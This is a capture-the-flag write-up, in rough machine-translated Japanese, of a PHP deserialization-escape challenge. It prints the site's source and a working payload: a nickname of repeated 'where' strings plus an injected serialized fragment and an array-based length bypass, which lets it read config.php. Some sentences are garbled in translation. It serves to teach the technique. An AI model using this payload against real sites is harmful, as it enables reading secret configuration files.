攻撃と防御の世界0ctf-unserialize(piapipia)

  • 質問テストサイト:任意のファイル読み取り+ phpコード監査の逆シリアル化
  • 私は問題を起こす前にそれをdirsearchedしました
    ここに画像の説明を挿入します
  • 最初にプロセスを試しました
  • 1つ目は、登録ページでアカウントを登録し、次に更新インターフェイスで補足情報を取得し、最後に登録時の情報を含むプロファイルページに戻ります。ここに画像の説明を挿入します
  • 次に、www.zipで提供されているWebページのソースコードを見てみましょう。
  • register.php
<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
    
    
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
    
    
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
    
    
			die('User name Already Exists');
		}
	}
	else {
    
    
?>
  • ユーザー名とユーザーパスワードを制限する簡単な操作はありません
  • update.php
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
    
    
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
    
    

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
  • 以下の制限を行いました
  • 電話番号は11桁である必要があります
  • メールは10個以内の数字と文字@ 10個以内の数字と文字でなければなりません。10個以内の数字と文字
  • ニックネームは10桁未満、文字、アンダースコアである必要があります
  • ファイルのサイズも制限されています。ファイル名はmd5で暗号化されています。
  • 最後に、プロファイル配列がシリアル化されました。これは、トピックのテストポイントの1つである必要があります。
  • profile.php
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
    
    
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
    
    
		header('Location: update.php');
	}
	else {
    
    
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
  • ここで逆シリアル化が実行されます。File_get_contents($ profile ['photo'])は$ photoの場所で実行されます。ここでの写真の値がフラグファイルの場合、ファイルの内容を読み取ることができます。
  • ユーザークラスとmysqlクラスのキーコードがインターセプトされるclass.phpファイルもあります
public function filter($string) {
    
    
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
  • 2日前にフィルタリングとデシリアライズを行いました。この質問のテストポイントがデシリアライズエスケープであることは明らかです。
  • 次のステップは問題を解決することです
  • 私たちが欲しいのは、シリアル化された結果が
a:4:{
    
    s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";s:6:"xbx_0d";s:5:"photo";s:10:"config.php";}
  • この場合、config.phpファイルのコンテンツが直接読み取られます
  • シリアル化を解除するには、電話、メール、ニックナム、写真からの脱出を選択する必要があります
  • 这里就要补充一个知识点了
  • if(preg_match( '/ [^ a-zA-Z0-9 _] /'、$ _POST ['nickname'])|| strlen($ _ POST ['nickname'])> 10)
    die( '無効なニックネーム');
  • strlen関数は配列をバイパスできますstrlen(Array())= null
  • したがって、ここでは、配列を介して長さの制限をバイパスできます。次に、ペイロードを作成します。
<?php
$profile['phone'] = '12345678910';
$profile['email'] = '[email protected]';
$profile ['nickname'] = ['xbx_0d'];
$profile['photo'] = 'config.php';
echo serialize($profile);
?>
  • 操作の結果は次のとおりです。a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:6:"xbx_0d";}s:5:"photo";s:10:"config.php";}
  • これが私たちが望む効果です
  • したがって、エスケープするためにシリアル化する必要がある部分は;}s:5:"photo";s:10:"config.php";}、合計34ビットです。
  • そして、上記のフィルター関数は、どこがハッカーに置き換えられているかを示します。これは、もう1つを意味します。
  • だから我々は価値のニックネームをアップロードする場合
    -wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
  • 次のコードの結果があります
<?php
function filter($string) {
    
    
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
$profile['phone'] = '12345678910';
$profile['email'] = '[email protected]';
$profile ['nickname'] = ['wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'];
$profile['photo'] = 'aaaaaaaaaaa';
$a = serialize($profile);
echo $a;
echo "\n替换后\n";
$b = filter($a);
echo $b;
echo "\n反序列化\n";
$c = unserialize($b);
echo serialize($c);
?>
  • 運転結果
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:11:"aaaaaaaaaaa";}
替换后
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:11:"aaaaaaaaaaa";}
反序列化
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}
  • 元の写真の値は破棄されます。これは逆シリアル化エスケープの結果です。
  • この場合、file_get_contentsはconfig.phpファイルです。
  • 旗を見てください
    ここに画像の説明を挿入しますここに画像の説明を挿入します
  • 総括する
  • トピックの焦点は、トピック名のシリアル化です。
  • 主に逆シリアル化のエスケープを調査します
  • 次に、strlen()関数の配列がバイパスに追加されます
  • file_get_contents()はSSRFと見なす必要があります
  • チップ:

config.phpにフラグがないのはなぜですか
。しかし、読んだときフラグがあります。送信した瞬間、この
ばかげた質問www.zipが直接提供されますが、config.phpがそれを意味するわけではありません。使用はあなたのためですconfig.php

おすすめ

転載: blog.csdn.net/CyhDl666/article/details/114261569